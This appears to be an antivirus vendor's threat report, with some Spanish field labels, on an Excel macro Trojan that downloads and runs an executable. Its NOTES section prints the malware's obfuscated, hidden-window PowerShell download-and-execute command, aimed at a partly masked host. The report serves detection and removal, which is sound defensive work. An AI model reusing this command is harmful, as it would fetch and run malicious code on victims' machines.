Analysis by: Marcus Ma. Antonio Capistrano
ALIASES:

W97M.Downloader (NORTON), Troj/DocDl-NMU (SOPHOS_LITE), VBA/TrojanDownloader.Agent.HVM trojan (NOD32)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Canal de infección Spammed via email, Dropped by other malware, Downloaded from the Internet

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

  TECHNICAL DETAILS

Tamaño del archivo 54,272 bytes
Residente en memoria Yes
Fecha de recepción de las muestras iniciales 24 Apr 2018
Carga útil Connects to URLs/IPs, Downloads files, Displays windows

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://{BLOCKED}onis.com/xambu

It saves the files it downloads using the following names:

  • %Desktop%\5390216.exe

(Note: %Desktop% is the desktop folder, where it usually is C:\Documents and Settings\{user name}\Desktop in Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\Desktop in Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

Trend Micro detects the dowloaded file as:

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

NOTES:

The Microsoft Excel file contains the following fake details luring users to enable macro content:

This Trojan uses the following Powershell commands to download and execute a malicious file: pOWErsHeLl -nopRoFi -WIn hiDdeN -NOLo -NoNInTeRA -eXeCUTIoNp bYpass "$7d0mK6 = [TyPE](\"{1}{0}{3}{2}\" -f 'on','ENVIr','Nt','mE') ; do{&(\"{1}{0}\" -f'ep','sle') 33;${D`es} = $7d0mk6::gETfoLDeRpaTh(\"Desktop\");(&(\"{0}{1}{2}\" -f'Ne','w-','Object') (\"{0}{2}{1}{3}{5}{6}{4}\"-f'Sy','te','s','m.Ne','ent','t.Web','Cli')).dowNLoaDFilE.iNVoKE(\"http://{BLOCKED}onis.com/xambu\",\"$Des\5390216.exe\")}while(!${?});&(\"{0}{2}{3}{1}\"-f 'St','ocess','art','-Pr') $Des\5390216.exe

  SOLUTION

Motor de exploración mínimo 9.850
Primer archivo de patrones de VSAPI 14.212.02
Primera fecha de publicación de patrones de VSAPI 25 Apr 2018
Versión de patrones OPR de VSAPI 14.213.00
Fecha de publicación de patrones OPR de VSAPI 26 Apr 2018

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %Desktop%\5390216.exe

Step 4

Scan your computer with your Trend Micro product to delete files detected as X2KM_POWLOAD.UHAOEDP. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

Step 5

Enable the macro virus protection in Microsoft Office Applications

[ Learn More ]


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